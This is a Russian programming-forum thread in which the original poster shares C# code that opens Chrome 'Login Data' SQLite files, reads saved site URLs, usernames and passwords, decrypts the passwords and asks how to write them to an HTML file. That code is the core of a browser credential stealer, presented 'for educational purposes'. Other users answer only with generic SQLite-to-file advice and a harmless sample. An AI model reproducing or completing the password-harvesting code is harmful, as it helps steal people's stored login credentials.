Форум программистов, компьютерный форум, киберфорум
C#: Базы данных
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 5.00/13: Рейтинг темы: голосов - 13, средняя оценка - 5.00
 Аватар для chaleureux
25 / 28 / 19
Регистрация: 24.12.2014
Сообщений: 1,260
.NET 4.x

Sqlite - Как записать данные в файл?

19.05.2017, 09:52. Показов 2574. Ответов 9

Студворк — интернет-сервис помощи студентам
Как правильно записать данные в файл в формате .html ?

А так же если кто шарит, объясните как можно изменить последовательность при сборе файлов и записи в файл.

C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
using System;
using System.Data;
using System.Data.SQLite;
using System.Security.Cryptography;
using System.Text;
 
public partial class GetPSWEngine
{
    private static string query = "SELECT origin_url, username_value, password_value FROM logins";
    private static SQLiteConnection con;
    private static SQLiteDataReader reader;
    private static int i = 0;
    public static void EngineChrome()
    {
        for (int y = 0; y < ListEngine.Browsers.Count; y++) // ListEngine ( цикл где собираются файлы LoginData и ниже расшифровка.
        {
            try
            {
                using (con = new SQLiteConnection(string.Format(@"Data Source={0};Version=3;New=False;Compress=True;", ListEngine.Browsers[y]))) // подключение к каждому файлу
                {
                    con.Open();
                    using (var cmd = new SQLiteCommand(con))
                    {
                        cmd.CommandText = query;
                        cmd.CommandType = CommandType.Text;
                        using (reader = cmd.ExecuteReader())
                            do
                            {
 
                                if (!string.IsNullOrEmpty(reader["username_value"].ToString()))
                                {
                                    byte[] decrypted = ProtectedData.Unprotect((byte[])reader["password_value"], null, DataProtectionScope.LocalMachine);
                                    Console.WriteLine(reader["username_value"].ToString());
                                    Console.WriteLine(Encoding.ASCII.GetString(decrypted));
                                    Console.WriteLine(reader["origin_url"].ToString());
                                    i++;
                                }
                            } while (reader.Read()); cmd.Dispose();
                    }
                }
                con.Close();
            }
            catch (SQLiteException ex) { Console.Write(ex.Message); }
            finally { con.Close(); }
        }
    }
}
Попробовал даже так:
C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static SQLiteConnection connection;
public static SQLiteDataReader reader;
 
using (connection = new SQLiteConnection("DataSource=" + EngineChrome.browsers[y] + ";Version=3;New=True;Compress=True;"))
                {
                    connection.Open();
                    SQLiteCommand command = new SQLiteCommand("SELECT * FROM logins", connection);
                    using (reader = command.ExecuteReader())
                    {
                        string host = null;
                        string user = null;
                        string pass = null;
                        while (reader.Read())
                        {
 
                            host = reader["origin_url"].ToString();
                            user = reader["username_value"].ToString();
                            pass = Chrome.Decrypt(Encoding.Default.GetBytes(reader["password_value"].ToString()));
                            if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(user) && !String.IsNullOrEmpty(pass))
                            {
                                Console.WriteLine("{0},{1},{2}",host,user,pass);
                            }
                        }
                    }
                }
В консоли всё нормально выходит.

При попытке записать в файл последовательность url/login/pass/ выскакивает ошибка: [скриншот]

В файл записываю так:

Заношу всё в
C#
1
StringBuilder htm = new StringBuilder
все записи

Затем все записи записываю в файл:

C#
1
2
3
4
using (StreamWriter vas = new StreamWriter(PathToWrite, true, Encoding.UTF8))
    {
        vas.WriteLine(htm.ToString());
    }
Данная тема в ознакомительных целях..
Миниатюры
Sqlite - Как записать данные в файл?  
0
IT_Exp
Эксперт
34794 / 4073 / 2104
Регистрация: 17.06.2006
Сообщений: 32,602
Блог
19.05.2017, 09:52
Ответы с готовыми решениями:

Файл: Как с помощью Python записать (а не перезаписать) данные из базы SQLite в файл lex.txt.
Помогите с разработкой части проекта, пожалуйста! Есть файл db.sqlite в котором таджикские слова: words А Абад Адиб Асрор ...

SQLite for Excel или как выгрузить данные в SQLite
Здравствуйте! Мне необходимо написать макрос для выгрузки данных из excel в sqlite. Нашла проект SQLite for Excel, но при запуске...

Как записать данные в файл
Как записать данные в файл в определенную строку в PHP

9
Эксперт .NET
 Аватар для Rius
13121 / 7681 / 1675
Регистрация: 25.05.2015
Сообщений: 23,437
Записей в блоге: 14
19.05.2017, 11:31
Вероятно, соединение с БД не закрыто, поэтому не может открыть новое.

А вообще, это какой-то поток сознания. Что к чему?...........
0
 Аватар для chaleureux
25 / 28 / 19
Регистрация: 24.12.2014
Сообщений: 1,260
19.05.2017, 11:38  [ТС]
Цитата Сообщение от Rius Посмотреть сообщение
Вероятно, соединение с БД не закрыто, поэтому не может открыть новое.
Хм, я пытался записать внутри цикла
C#
1
while (reader.Read())
разве нужно закрывать соединение перед тем как записывать в файл? или я что-то не догоняю))
Цитата Сообщение от Rius Посмотреть сообщение
А вообще, это какой-то поток сознания. Что к чему?...........
Возможно, просто я пытаюсь сначала в цикле собрать список файлов Login Data и там уже происходит поток сознания, может это нужно как-то отдельно организовать?
0
Эксперт .NET
 Аватар для Rius
13121 / 7681 / 1675
Регистрация: 25.05.2015
Сообщений: 23,437
Записей в блоге: 14
19.05.2017, 11:43
Соединение нужно закрывать, когда оно становится ненужным. Чтобы при открытии нового не было проблем.
У вас же оно статическое, а не создаваемое в using, открытие есть, а закрытия нет.
Соединение с БД работе с файлом само по себе не мешает.
Записи в файл тут и не видно. Один кусок кода выдернут.
0
 Аватар для chaleureux
25 / 28 / 19
Регистрация: 24.12.2014
Сообщений: 1,260
19.05.2017, 13:43  [ТС]
Запись в файл я делал так:
C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private static StringBuilder htm = new StringBuilder(string.Empty);
public static void GetAllEngine()
{
string URL;
string UserName;
string Password;
using (Reader = cmd.ExecuteReader())
{
    string URL;
    string UserName;
    string Password;
    while (Reader.Read())
    {
      if (!string.IsNullOrEmpty(Reader["username_value"].ToString()))
         {
              URL = Reader["origin_url"].ToString();
              UserName = Reader["username_value"].ToString();
              Password = BlobDecrypt.DecryptBlob((byte[])Reader["password_value"]);
 
             htm.AppendFormat("<td>{0}</td>", URL);
             htm.AppendFormat("<td>{0}</td>", UserName);
             htm.AppendFormat("<td>{0}</td>", Password);
         }
    }
}
        using (StreamWriter vas = new StreamWriter(PathToWrite, true, Encoding.UTF8))
        {
            vas.WriteLine(htm.ToString());
        }
}
Добавлено через 29 минут
Может можно это как-то по отдельности записать?
Имея в виду не внутри
C#
1
for (int y = 0; y < ListEngine.Browsers.Count; y++)
Добавлено через 1 час 19 минут
Есть у кого-нибудь есть идеи, не стесняйтесь говорите)) Хочу понять как правильно организовать запись таблицы sqlite в файл.
Даже подойдут примеры с LinQ)
0
Эксперт .NET
 Аватар для Rius
13121 / 7681 / 1675
Регистрация: 25.05.2015
Сообщений: 23,437
Записей в блоге: 14
19.05.2017, 18:09
C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
using System;
using System.Data.SQLite;
using System.IO;
using System.Text;
 
namespace chaleureux
{
    class Program
    {
        static void Main(string[] args)
        {
            SQLiteConnection.CreateFile("database.sqlite");
 
            using (var connection = new SQLiteConnection("Data Source=database.sqlite;Version=3;"))
            {
                connection.Open();
 
                // Create table
                string sqlCreateTable = "create table sample (name varchar(20), value int)";
 
                using (var cmdCreateTable = new SQLiteCommand(sqlCreateTable, connection))
                {
                    cmdCreateTable.ExecuteNonQuery();
                }
 
                // Fill table
                using (var cmdInsert = new SQLiteCommand("insert into sample (name, value) values (@name, @value);", connection))
                {
                    SQLiteParameter paramName = new SQLiteParameter("@name", System.Data.DbType.String, 20);
                    SQLiteParameter paramValue = new SQLiteParameter("@value", System.Data.DbType.Int32);
                    cmdInsert.Parameters.Add(paramName);
                    cmdInsert.Parameters.Add(paramValue);
 
                    for (int i = 0; i < 10; i++)
                    {
                        paramName.Value = String.Format("Имя_{0}", i);
                        paramValue.Value = i;
                        cmdInsert.ExecuteNonQuery();
                    }
                }
 
                // Read table
                using (var cmdSelect = new SQLiteCommand("select * from sample;", connection))
                {
                    // Writer to file
                    using (var writer = new StreamWriter("file.txt", false, Encoding.UTF8))
                    {
                        using (var reader = cmdSelect.ExecuteReader())
                        {
                            while (reader.Read())
                            {
                                writer.WriteLine("Name: {0}, Value: {1}", reader.GetValue(0), reader.GetValue(1));
                            }
                        }
                    }
                }
 
                connection.Close();
            }
        }
    }
}
1
Эксперт .NET
 Аватар для insite2012
5548 / 4311 / 1218
Регистрация: 12.10.2013
Сообщений: 12,371
Записей в блоге: 2
19.05.2017, 18:32
Цитата Сообщение от chaleureux Посмотреть сообщение
как правильно организовать запись таблицы sqlite в файл.
У вас реально какой-то поток сознания... Выгрузите вашу таблицу (через адаптер) в программу, а потом используйте метод DataTable.WriteXml(Stream), для записи всех данных таблицы в поток. В чем проблема?
0
 Аватар для chaleureux
25 / 28 / 19
Регистрация: 24.12.2014
Сообщений: 1,260
19.05.2017, 18:53  [ТС]
Цитата Сообщение от insite2012 Посмотреть сообщение
В чем проблема?
Вас не затруднит предоставить пример с Вашими требованиями?
0
Эксперт .NET
 Аватар для insite2012
5548 / 4311 / 1218
Регистрация: 12.10.2013
Сообщений: 12,371
Записей в блоге: 2
19.05.2017, 18:57
Цитата Сообщение от chaleureux Посмотреть сообщение
не затруднит предоставить пример
Если чуть позже-не затруднит.
0
 Аватар для chaleureux
25 / 28 / 19
Регистрация: 24.12.2014
Сообщений: 1,260
30.05.2017, 17:06  [ТС]
Цитата Сообщение от insite2012 Посмотреть сообщение
Если чуть позже-не затруднит.

Не по теме:

Ок, подожду...

0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
BasicMan
Эксперт
29316 / 5623 / 2384
Регистрация: 17.02.2009
Сообщений: 30,364
Блог
30.05.2017, 17:06
Помогаю со студенческими работами здесь

Файл. Как записать данные?
Доброго времени суток... просьба помочь с программой. Програма вычисляет корень квадратный в нормальных и комплексных числах. Чего надо: ...

Как записать в файл данные?
Вот готовый код: #include &lt;iostream&gt; #include &lt;stdlib.h&gt; #include &lt;locale&gt; #include &lt;conio.h&gt; using namespace std; int...

Файл cookies.sqlite не sqlite на самом деле, или как его открыть
хочу прочитать куки браузеров (это не противозаконно) оперу сделал, хром сделал, у хрома как раз sqlite как и у мозилы делаю...

Как записать данные с куки в файл?
Всем привет! Есть код, который записывает ссылку в куки. Мне надо, чтобы когда выполнялся условие, то он должен взять этот куки и записать...

Как записать данные в файл CSV?
Всем привет. Есть некоторые данные для записи в файл CSV (не StringGrid). Перерыл интернет, но везде описано сплошное чтение, а мне нужна...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
10
Ответ Создать тему
Новые блоги и статьи
SDL3 для Web (WebAssembly): Реализация движения на Box2D v3 - трение и коллизии с повёрнутыми стенами
8Observer8 20.02.2026
Содержание блога Box2D позволяет легко создать главного героя, который не проходит сквозь стены и перемещается с заданным трением о препятствия, которые можно располагать под углом, как верхнее. . .
Конвертировать закладки radiotray-ng в m3u-плейлист
damix 19.02.2026
Это можно сделать скриптом для PowerShell. Использование . \СonvertRadiotrayToM3U. ps1 <path_to_bookmarks. json> Рядом с файлом bookmarks. json появится файл bookmarks. m3u с результатом. # Check if. . .
Семь CDC на одном интерфейсе: 5 U[S]ARTов, 1 CAN и 1 SSI
Eddy_Em 18.02.2026
Постепенно допиливаю свою "многоинтерфейсную плату". Выглядит вот так: https:/ / www. cyberforum. ru/ blog_attachment. php?attachmentid=11617&stc=1&d=1771445347 Основана на STM32F303RBT6. На борту пять. . .
Камера Toupcam IUA500KMA
Eddy_Em 12.02.2026
Т. к. у всяких "хикроботов" слишком уж мелкий пиксель, для подсмотра в ESPriF они вообще плохо годятся: уже 14 величину можно рассмотреть еле-еле лишь на экспозициях под 3 секунды (а то и больше),. . .
И ясному Солнцу
zbw 12.02.2026
И ясному Солнцу, и светлой Луне. В мире покоя нет и люди не могут жить в тишине. А жить им немного лет.
«Знание-Сила»
zbw 12.02.2026
«Знание-Сила» «Время-Деньги» «Деньги -Пуля»
SDL3 для Web (WebAssembly): Подключение Box2D v3, физика и отрисовка коллайдеров
8Observer8 12.02.2026
Содержание блога Box2D - это библиотека для 2D физики для анимаций и игр. С её помощью можно определять были ли коллизии между конкретными объектами и вызывать обработчики событий столкновения. . . .
SDL3 для Web (WebAssembly): Загрузка PNG с прозрачным фоном с помощью SDL_LoadPNG (без SDL3_image)
8Observer8 11.02.2026
Содержание блога Библиотека SDL3 содержит встроенные инструменты для базовой работы с изображениями - без использования библиотеки SDL3_image. Пошагово создадим проект для загрузки изображения. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru